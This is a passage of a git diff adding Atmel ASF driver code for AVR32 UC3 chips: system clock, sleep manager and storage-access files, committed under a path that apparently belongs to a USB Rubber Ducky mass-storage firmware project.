\f$2^{CONFIG\_SYSCLK\_PBB\_DIV}\f$ + * + * If this symbol is not defined, the PBB clock frequency is not divided. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifndef CONFIG_SYSCLK_PBB_DIV +# define CONFIG_SYSCLK_PBB_DIV 0 +#endif /* CONFIG_SYSCLK_PBB_DIV */ + +/** + * \def CONFIG_SYSCLK_INIT_CPUMASK + * \brief Configuration symbol for the CPU clocks enabled at power-on after the + * sysclock module has been initialized. By default, all CPU clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all CPU clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_CPUMASK +#endif + +/** + * \def CONFIG_SYSCLK_INIT_PBAMASK + * \brief Configuration symbol for the PBA clocks enabled at power-on after the + * sysclock module has been initialized. By default, all PBA clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all PBA clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_PBAMASK +#endif + +/** + * \def CONFIG_SYSCLK_INIT_PBBMASK + * \brief Configuration symbol for the PBB clocks enabled at power-on after the + * sysclock module has been initialized. By default, all PBB clocks are left + * enabled, however to save power these can be automatically disabled by defining + * this value to a mask of \c SYSCLOCK_xxx settings. + * + * If this symbol is not defined, then all PBB clocks are left enabled. + * + * This symbol may be defined in \ref conf_clock.h. + */ +#ifdef __DOXYGEN__ +# define CONFIG_SYSCLK_INIT_PBBMASK +#endif + +/** + * \def CONFIG_USBCLK_SOURCE + * \brief Configuration symbol for the USB generic clock source + * + * Sets the clock source to use for the USB. The source must also be properly + * configured. + * + * Define this to one of the \c USBCLK_SRC_xxx settings. Leave it undefined if + * USB is not required. + */ +#ifdef __DOXYGEN__ +# define CONFIG_USBCLK_SOURCE +#endif + +/** + * \def CONFIG_USBCLK_DIV + * \brief Configuration symbol for the USB generic clock divider setting + * + * Sets the clock division for the USB generic clock. If a USB clock source is + * selected with CONFIG_USBCLK_SOURCE, this configuration symbol must also be + * defined. + * + * Define this as any value that does not exceed \c GENCLK_DIV_MAX, and which + * will give a 48 MHz clock frequency from the selected source. + */ +#ifdef __DOXYGEN__ +# define CONFIG_USBCLK_DIV +#endif + +/** + * \name Querying the system clock and its derived clocks + * + * The following functions may be used to query the current frequency of + * the system clock and the CPU and bus clocks derived from it. + * sysclk_get_main_hz() and sysclk_get_cpu_hz() can be assumed to be + * available on all platforms, although some platforms may define + * additional accessors for various chip-internal bus clocks. These are + * usually not intended to be queried directly by generic code. + */ +//@{ + +/** + * \brief Return the current rate in Hz of the main system clock + * + * \todo This function assumes that the main clock source never changes + * once it's been set up, and that PLL0 always runs at the compile-time + * configured default rate. While this is probably the most common + * configuration, which we want to support as a special case for + * performance reasons, we will at some point need to support more + * dynamic setups as well. + */ +#if (defined CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) +extern bool sysclk_initialized; +#endif +static inline uint32_t sysclk_get_main_hz(void) +{ +#if (defined CONFIG_SYSCLK_DEFAULT_RETURNS_SLOW_OSC) + if (!sysclk_initialized ) { + return OSC_SLOW_NOMINAL_HZ; + } +#endif + + switch (CONFIG_SYSCLK_SOURCE) { + case SYSCLK_SRC_RCSYS: + return OSC_SLOW_NOMINAL_HZ; + +#ifdef BOARD_OSC0_HZ + case SYSCLK_SRC_OSC0: + return BOARD_OSC0_HZ; +#endif + +#ifdef CONFIG_PLL0_SOURCE + case SYSCLK_SRC_PLL0: + return pll_get_default_rate(0); +#endif + + default: + /* unhandled_case(CONFIG_SYSCLK_SOURCE); */ + return 0; + } +} + +/** + * \brief Return the current rate in Hz of the CPU clock + * + * \todo This function assumes that the CPU always runs at the system + * clock frequency. We want to support at least two more scenarios: + * Fixed CPU/bus clock dividers (config symbols) and dynamic CPU/bus + * clock dividers (which may change at run time). Ditto for all the bus + * clocks. + * + * \return Frequency of the CPU clock, in Hz. + */ +static inline uint32_t sysclk_get_cpu_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_CPU_DIV; +} + +/** + * \brief Return the current rate in Hz of the High-Speed Bus clock + * + * \return Frequency of the High Speed Peripheral Bus clock, in Hz. + */ +static inline uint32_t sysclk_get_hsb_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_CPU_DIV; +} + +/** + * \brief Return the current rate in Hz of the Peripheral Bus A clock + * + * \return Frequency of the Peripheral Bus A clock, in Hz. + */ +static inline uint32_t sysclk_get_pba_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_PBA_DIV; +} + +/** + * \brief Return the current rate in Hz of the Peripheral Bus B clock + * + * \return Frequency of the Peripheral Bus B clock, in Hz. + */ +static inline uint32_t sysclk_get_pbb_hz(void) +{ + return sysclk_get_main_hz() >> CONFIG_SYSCLK_PBB_DIV; +} + +/** + * \brief Retrieves the current rate in Hz of the Peripheral Bus clock attached + * to the specified peripheral. + * + * \param module Pointer to the module's base address. + * + * \return Frequency of the bus attached to the specified peripheral, in Hz. + */ +static inline uint32_t sysclk_get_peripheral_bus_hz(const volatile void *module) +{ + /* Fallthroughs intended for modules sharing the same peripheral bus. */ + switch ((uintptr_t)module) { + case AVR32_INTC_ADDRESS: + case AVR32_GPIO_ADDRESS: + case AVR32_PDCA_ADDRESS: + case AVR32_PM_ADDRESS: + case AVR32_ADC_ADDRESS: + case AVR32_SPI_ADDRESS: + case AVR32_TWI_ADDRESS: + case AVR32_USART0_ADDRESS: + case AVR32_USART1_ADDRESS: + case AVR32_USART2_ADDRESS: + case AVR32_PWM_ADDRESS: +#if defined(AVR32_SSC) + case AVR32_SSC_ADDRESS: +#endif + case AVR32_TC_ADDRESS: +#if defined(AVR32_ABDAC) + case AVR32_ABDAC_ADDRESS: +#endif + return sysclk_get_pba_hz(); + + case AVR32_HMATRIX_ADDRESS: + case AVR32_USBB_ADDRESS: + case AVR32_FLASHC_ADDRESS: + return sysclk_get_pbb_hz(); + + default: + Assert(false); + return 0; + } +} + +//@} + +extern void sysclk_priv_enable_module(unsigned int bus_id, + unsigned int module_index); +extern void sysclk_priv_disable_module(unsigned int bus_id, + unsigned int module_index); + +//! \name Enabling and disabling synchronous clocks +//@{ + +/** + * \brief Enable a module clock derived from the CPU clock + * \param index Index of the module clock in the CPUMASK register + */ +static inline void sysclk_enable_cpu_module(unsigned int index) +{ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_CPU, index); +} + +/** + * \brief Disable a module clock derived from the CPU clock + * \param index Index of the module clock in the CPUMASK register + */ +static inline void sysclk_disable_cpu_module(unsigned int index) +{ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_CPU, index); +} + +/** + * \brief Enable a module clock derived from the HSB clock + * \param index Index of the module clock in the HSBMASK register + */ +static inline void sysclk_enable_hsb_module(unsigned int index) +{ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_HSB, index); +} + +/** + * \brief Disable a module clock derived from the HSB clock + * \param index Index of the module clock in the HSBMASK register + */ +static inline void sysclk_disable_hsb_module(unsigned int index) +{ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_HSB, index); +} + +/** + * \brief Enable a module clock derived from the PBA clock + * \param index Index of the module clock in the PBAMASK register + */ +static inline void sysclk_enable_pba_module(unsigned int index) +{ + sysclk_priv_enable_module(AVR32_PM_CLK_GRP_PBA, index); +} + +/** + * \brief Disable a module clock derived from the PBA clock + * \param index Index of the module clock in the PBAMASK register + */ +static inline void sysclk_disable_pba_module(unsigned int index) +{ + sysclk_priv_disable_module(AVR32_PM_CLK_GRP_PBA, index); +} + +extern void sysclk_enable_pbb_module(unsigned int index); +extern void sysclk_disable_pbb_module(unsigned int index); + +/** + * \brief Enable a peripheral's clock from its base address. + * + * Enables the clock to a peripheral, given its base address. If the peripheral + * has an associated clock on the HSB bus, this will be enabled also. + * + * \param module Pointer to the module's base address. + */ +static inline void sysclk_enable_peripheral_clock(const volatile void *module) +{ + switch ((uintptr_t)module) { + case AVR32_INTC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_INTC); + break; + + case AVR32_GPIO_ADDRESS: + sysclk_enable_pba_module(SYSCLK_GPIO); + break; + + case AVR32_PDCA_ADDRESS: + sysclk_enable_hsb_module(SYSCLK_PDCA_HSB); + sysclk_enable_pba_module(SYSCLK_PDCA_PB); + break; + + case AVR32_PM_ADDRESS: + sysclk_enable_pba_module(SYSCLK_PM); + break; + + case AVR32_ADC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_ADC); + break; + + case AVR32_SPI_ADDRESS: + sysclk_enable_pba_module(SYSCLK_SPI); + break; + + case AVR32_TWI_ADDRESS: + sysclk_enable_pba_module(SYSCLK_TWI); + break; + + case AVR32_USART0_ADDRESS: + sysclk_enable_pba_module(SYSCLK_USART0); + break; + + case AVR32_USART1_ADDRESS: + sysclk_enable_pba_module(SYSCLK_USART1); + break; + + case AVR32_USART2_ADDRESS: + sysclk_enable_pba_module(SYSCLK_USART2); + break; + + case AVR32_PWM_ADDRESS: + sysclk_enable_pba_module(SYSCLK_PWM); + break; + +#if defined(AVR32_SSC) + case AVR32_SSC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_SSC); + break; +#endif + + case AVR32_TC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_TC); + break; + +#if defined(AVR32_ABDAC) + case AVR32_ABDAC_ADDRESS: + sysclk_enable_pba_module(SYSCLK_DAC); + break; +#endif + + case AVR32_HMATRIX_ADDRESS: + sysclk_enable_pbb_module(SYSCLK_HMATRIX); + break; + + case AVR32_USBB_ADDRESS: + sysclk_enable_hsb_module(SYSCLK_USBB_DATA); + sysclk_enable_pbb_module(SYSCLK_USBB_REGS); + break; + + case AVR32_FLASHC_ADDRESS: + sysclk_enable_hsb_module(SYSCLK_FLASHC_DATA); + sysclk_enable_pbb_module(SYSCLK_FLASHC_REGS); + break; + + default: + Assert(false); + return; + } +} + +/** + * \brief Disable a peripheral's clock from its base address. + * + * Disables the clock to a peripheral, given its base address. If the peripheral + * has an associated clock on the HSB bus, this will be disabled also. + * + * \param module Pointer to the module's base address. + */ +static inline void sysclk_disable_peripheral_clock(const volatile void *module) +{ + switch ((uintptr_t)module) { + case AVR32_INTC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_INTC); + break; + + case AVR32_GPIO_ADDRESS: + sysclk_disable_pba_module(SYSCLK_GPIO); + break; + + case AVR32_PDCA_ADDRESS: + sysclk_disable_hsb_module(SYSCLK_PDCA_HSB); + sysclk_disable_pba_module(SYSCLK_PDCA_PB); + break; + + case AVR32_PM_ADDRESS: + sysclk_disable_pba_module(SYSCLK_PM); + break; + + case AVR32_ADC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_ADC); + break; + + case AVR32_SPI_ADDRESS: + sysclk_disable_pba_module(SYSCLK_SPI); + break; + + case AVR32_TWI_ADDRESS: + sysclk_disable_pba_module(SYSCLK_TWI); + break; + + case AVR32_USART0_ADDRESS: + sysclk_disable_pba_module(SYSCLK_USART0); + break; + + case AVR32_USART1_ADDRESS: + sysclk_disable_pba_module(SYSCLK_USART1); + break; + + case AVR32_USART2_ADDRESS: + sysclk_disable_pba_module(SYSCLK_USART2); + break; + + case AVR32_PWM_ADDRESS: + sysclk_disable_pba_module(SYSCLK_PWM); + break; + +#if defined(AVR32_SSC) + case AVR32_SSC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_SSC); + break; +#endif + + case AVR32_TC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_TC); + break; + +#if defined(AVR32_ABDAC) + case AVR32_ABDAC_ADDRESS: + sysclk_disable_pba_module(SYSCLK_DAC); + break; +#endif + + case AVR32_HMATRIX_ADDRESS: + sysclk_disable_pbb_module(SYSCLK_HMATRIX); + break; + + case AVR32_USBB_ADDRESS: + sysclk_disable_hsb_module(SYSCLK_USBB_DATA); + sysclk_disable_pbb_module(SYSCLK_USBB_REGS); + break; + + case AVR32_FLASHC_ADDRESS: + sysclk_disable_hsb_module(SYSCLK_FLASHC_DATA); + sysclk_disable_pbb_module(SYSCLK_FLASHC_REGS); + break; + + default: + Assert(false); + return; + } +} + +//@} + +//! \name System Clock Source and Prescaler configuration +//@{ + +/** + * \brief Set system clock prescaler configuration + * + * This function will change the system clock prescaler configuration to + * match the parameters. + * + * \note The parameters to this function are device-specific. + * + * \param cpu_shift The CPU clock will be divided by \f$2^{cpu\_shift}\f$ + * \param pba_shift The PBA clock will be divided by \f$2^{pba\_shift}\f$ + * \param pbb_shift The PBB clock will be divided by \f$2^{pbb\_shift}\f$ + */ +static inline void sysclk_set_prescalers(unsigned int cpu_shift, + unsigned int pba_shift, unsigned int pbb_shift) +{ + uint32_t cksel = 0; + + Assert(cpu_shift <= pba_shift); + Assert(cpu_shift <= pbb_shift); + + if (cpu_shift > 0) + cksel = ((cpu_shift - 1) << AVR32_PM_CKSEL_CPUSEL) + | (1U << AVR32_PM_CKSEL_CPUDIV); + + if (pba_shift > 0) + cksel |= ((pba_shift - 1) << AVR32_PM_CKSEL_PBASEL) + | (1U << AVR32_PM_CKSEL_PBADIV); + + if (pbb_shift > 0) + cksel |= ((pbb_shift - 1) << AVR32_PM_CKSEL_PBBSEL) + | (1U << AVR32_PM_CKSEL_PBBDIV); + + AVR32_PM.cksel = cksel; +} + +/** + * \brief Change the source of the main system clock. + * + * \pre The appropriate Flash Wait state must be set previously. + * + * \param src The new system clock source. Must be one of the constants + * from the System Clock Sources section. + */ +static inline void sysclk_set_source(uint_fast8_t src) +{ + uint32_t mcctrl; + irqflags_t flags; + + Assert(src <= SYSCLK_SRC_PLL0); + + flags = cpu_irq_save(); + mcctrl = AVR32_PM.mcctrl & ~AVR32_PM_MCCTRL_MCSEL_MASK; + mcctrl |= src << AVR32_PM_MCCTRL_MCSEL; + AVR32_PM.mcctrl = mcctrl; + cpu_irq_restore(flags); +} + +//@} + +#if defined(CONFIG_USBCLK_SOURCE) || defined(__DOXYGEN__) + +/** + * \def USBCLK_STARTUP_TIMEOUT + * \brief Number of us to wait for USB clock to start + */ +#if CONFIG_USBCLK_SOURCE==USBCLK_SRC_OSC0 +# define USBCLK_STARTUP_TIMEOUT (OSC0_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +#elif CONFIG_USBCLK_SOURCE==USBCLK_SRC_PLL0 +# if CONFIG_PLL0_SOURCE==PLL_SRC_OSC0 +# define USBCLK_STARTUP_TIMEOUT (OSC0_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# elif CONFIG_PLL0_SOURCE==PLL_SRC_OSC1 +# define USBCLK_STARTUP_TIMEOUT (OSC1_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# else +# error Unknown value for CONFIG_PLL0_SOURCE, see conf_clock.h. +# endif +#elif CONFIG_USBCLK_SOURCE==USBCLK_SRC_PLL1 +# if CONFIG_PLL1_SOURCE==PLL_SRC_OSC0 +# define USBCLK_STARTUP_TIMEOUT (OSC0_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# elif CONFIG_PLL1_SOURCE==PLL_SRC_OSC1 +# define USBCLK_STARTUP_TIMEOUT (OSC1_STARTUP_TIMEOUT*(1000000/AVR32_PM_RCOSC_FREQUENCY)) +# else +# error Unknown value for CONFIG_PLL1_SOURCE, see conf_clock.h. +# endif +#else +# error Unknown value for CONFIG_USBCLK_SOURCE, see conf_clock.h. +#endif + +extern void sysclk_enable_usb(void); +extern void sysclk_disable_usb(void); +#endif + +extern void sysclk_init(void); + +#endif /* !__ASSEMBLY__ */ + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif /* CHIP_SYSCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/sleepmgr/sleepmgr.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/sleepmgr/sleepmgr.h new file mode 100755 index 0000000..720b189 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/sleepmgr/sleepmgr.h @@ -0,0 +1,234 @@ +/** + * \file + * + * \brief Sleep manager + * + * Copyright (c) 2010 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef SLEEPMGR_H +#define SLEEPMGR_H + +#include +#include +#include + +#if defined(XMEGA) +# include "xmega/sleepmgr.h" +#elif (defined(__GNUC__) && defined(__AVR32__)) || (defined(__ICCAVR32__) || defined(__AAVR32__)) +# include "uc3/sleepmgr.h" +#else +# error Unsupported device. +#endif + +/** + * \defgroup sleepmgr_group Sleep manager + * + * The sleep manager is a service for ensuring that the device is not put to + * sleep in deeper sleep modes than the system (e.g., peripheral drivers, + * services or the application) allows at any given time. + * + * It is based on the use of lock counting for the individual sleep modes, and + * will put the device to sleep in the shallowest sleep mode that has a non-zero + * lock count. The drivers/services/application can change these counts by use + * of \ref sleepmgr_lock_mode and \ref sleepmgr_unlock_mode. + * Refer to \ref sleepmgr_mode for a list of the sleep modes available for + * locking, and the device datasheet for information on their effect. + * + * The application must supply the file \ref conf_sleepmgr.h. + * + * For the sleep manager to be enabled, the symbol \ref CONFIG_SLEEPMGR_ENABLE + * must be defined, e.g., in \ref conf_sleepmgr.h. If this symbol is not + * defined, the functions are replaced with dummy functions and no RAM is used. + * + * @{ + */ + +/** + * \def CONFIG_SLEEPMGR_ENABLE + * \brief Configuration symbol for enabling the sleep manager + * + * If this symbol is not defined, the functions of this service are replaced + * with dummy functions. This is useful for reducing code size and execution + * time if the sleep manager is not needed in the application. + * + * This symbol may be defined in \ref conf_sleepmgr.h. + */ +#if defined(__DOXYGEN__) && !defined(CONFIG_SLEEPMGR_ENABLE) +# define CONFIG_SLEEPMGR_ENABLE +#endif + +/** + * \enum sleepmgr_mode + * \brief Sleep mode locks + * + * Identifiers for the different sleep mode locks. + */ + +/** + * \brief Initialize the lock counts + * + * Sets all lock counts to 0, except the very last one, which is set to 1. This + * is done to simplify the algorithm for finding the deepest allowable sleep + * mode in \ref sleepmgr_enter_sleep. + */ +static inline void sleepmgr_init(void) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + uint8_t i; + + for (i = 0; i < SLEEPMGR_NR_OF_MODES - 1; i++) { + sleepmgr_locks[i] = 0; + } + sleepmgr_locks[SLEEPMGR_NR_OF_MODES - 1] = 1; +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + +/** + * \brief Increase lock count for a sleep mode + * + * Increases the lock count for \a mode to ensure that the sleep manager does + * not put the device to sleep in the deeper sleep modes. + * + * \param mode Sleep mode to lock. + */ +static inline void sleepmgr_lock_mode(enum sleepmgr_mode mode) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + irqflags_t flags; + + Assert(sleepmgr_locks[mode] < 0xff); + + // Enter a critical section + flags = cpu_irq_save(); + + ++sleepmgr_locks[mode]; + + // Leave the critical section + cpu_irq_restore(flags); +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + +/** + * \brief Decrease lock count for a sleep mode + * + * Decreases the lock count for \a mode. If the lock count reaches 0, the sleep + * manager can put the device to sleep in the deeper sleep modes. + * + * \param mode Sleep mode to unlock. + */ +static inline void sleepmgr_unlock_mode(enum sleepmgr_mode mode) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + irqflags_t flags; + + Assert(sleepmgr_locks[mode]); + + // Enter a critical section + flags = cpu_irq_save(); + + --sleepmgr_locks[mode]; + + // Leave the critical section + cpu_irq_restore(flags); +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + + /** + * \brief Retrieves the deepest allowable sleep mode + * + * Searches through the sleep mode lock counts, starting at the shallowest sleep + * mode, until the first non-zero lock count is found. The deepest allowable + * sleep mode is then returned. + */ +static inline enum sleepmgr_mode sleepmgr_get_sleep_mode(void) +{ + enum sleepmgr_mode sleep_mode = SLEEPMGR_ACTIVE; + +#ifdef CONFIG_SLEEPMGR_ENABLE + uint8_t *lock_ptr = sleepmgr_locks; + + // Find first non-zero lock count, starting with the shallowest modes. + while (!(*lock_ptr)) { + lock_ptr++; + sleep_mode++; + } + + // Catch the case where one too many sleepmgr_unlock_mode() call has been + // performed on the deepest sleep mode. + Assert((uintptr_t)(lock_ptr - sleepmgr_locks) < SLEEPMGR_NR_OF_MODES); + +#endif /* CONFIG_SLEEPMGR_ENABLE */ + + return sleep_mode; +} + +/** + * \fn sleepmgr_enter_sleep + * \brief Go to sleep in the deepest allowed mode + * + * Searches through the sleep mode lock counts, starting at the shallowest sleep + * mode, until the first non-zero lock count is found. The device is then put to + * sleep in the sleep mode that corresponds to the lock. + * + * \note This function enables interrupts before going to sleep, and will leave + * them enabled upon return. This also applies if sleep is skipped due to ACTIVE + * mode being locked. + */ + +static inline void sleepmgr_enter_sleep(void) +{ +#ifdef CONFIG_SLEEPMGR_ENABLE + enum sleepmgr_mode sleep_mode; + + cpu_irq_disable(); + + // Find the deepest allowable sleep mode + sleep_mode = sleepmgr_get_sleep_mode(); + // Return right away if first mode (ACTIVE) is locked. + if (sleep_mode==SLEEPMGR_ACTIVE) { + cpu_irq_enable(); + return; + } + // Enter the deepest allowable sleep mode with interrupts enabled + sleepmgr_sleep(sleep_mode); +#else + cpu_irq_enable(); +#endif /* CONFIG_SLEEPMGR_ENABLE */ +} + + +//! @} + +#endif /* SLEEPMGR_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/sleepmgr/uc3/sleepmgr.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/sleepmgr/uc3/sleepmgr.c new file mode 100755 index 0000000..e08d776 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/sleepmgr/uc3/sleepmgr.c @@ -0,0 +1,47 @@ +/** + * \file + * + * \brief AVR UC3 Sleep manager implementation + * + * Copyright (c) 2010 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#include +#include + +#if defined(CONFIG_SLEEPMGR_ENABLE) || defined(__DOXYGEN__) + +uint8_t sleepmgr_locks[SLEEPMGR_NR_OF_MODES]; + +#endif /* CONFIG_SLEEPMGR_ENABLE */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/sleepmgr/uc3/sleepmgr.h b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/sleepmgr/uc3/sleepmgr.h new file mode 100755 index 0000000..16ee812 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/sleepmgr/uc3/sleepmgr.h @@ -0,0 +1,111 @@ +/** + * \file + * + * \brief AVR UC3 Sleep manager implementation + * + * Copyright (c) 2010 Atmel Corporation. All rights reserved. + * + * \asf_license_start + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + * \asf_license_stop + * + */ +#ifndef UC3_SLEEPMGR_H +#define UC3_SLEEPMGR_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include +#include +#include + +/** + * \weakgroup sleepmgr_group + * @{ + */ + +enum sleepmgr_mode { + //! Active mode. + SLEEPMGR_ACTIVE = 0, + //! Idle mode. + SLEEPMGR_IDLE, + //! Frozen mode. + SLEEPMGR_FROZEN, + //! Standby mode. + SLEEPMGR_STDBY, + //! Stop mode. + SLEEPMGR_STOP, + //! Deep Stop mode. + SLEEPMGR_DEEPSTOP, + //! Static mode. + SLEEPMGR_STATIC, +#if UC3L + //! Shutdown mode. + SLEEPMGR_SHUTDOWN, +#endif + SLEEPMGR_NR_OF_MODES, +}; + +/** + * \internal + * \name Internal arrays + * @{ + */ +#if defined(CONFIG_SLEEPMGR_ENABLE) || defined(__DOXYGEN__) +//! Sleep mode lock counters +extern uint8_t sleepmgr_locks[]; +#endif /* CONFIG_SLEEPMGR_ENABLE */ +//! @} + + + +static inline void sleepmgr_sleep(const enum sleepmgr_mode sleep_mode) +{ + Assert(sleep_mode != SLEEPMGR_ACTIVE); +#ifdef CONFIG_SLEEPMGR_ENABLE + cpu_irq_disable(); + + // Atomically enable the global interrupts and enter the sleep mode. + pm_sleep(AVR32_PM_SMODE_GMCLEAR_MASK | (sleep_mode-1)); +#else + cpu_irq_enable(); +#endif /* CONFIG_SLEEPMGR_ENABLE */ + +} + +//! @} + +#ifdef __cplusplus +} +#endif + +#endif /* UC3_SLEEPMGR_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/storage/ctrl_access/ctrl_access.c b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/storage/ctrl_access/ctrl_access.c new file mode 100755 index 0000000..8cb7420 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Mass_Storage/USB/src/asf/common/services/storage/ctrl_access/ctrl_access.c @@ -0,0 +1,569 @@ +/***************************************************************************** + * + * \file + * + * \brief Abstraction layer for memory interfaces. + * + * This module 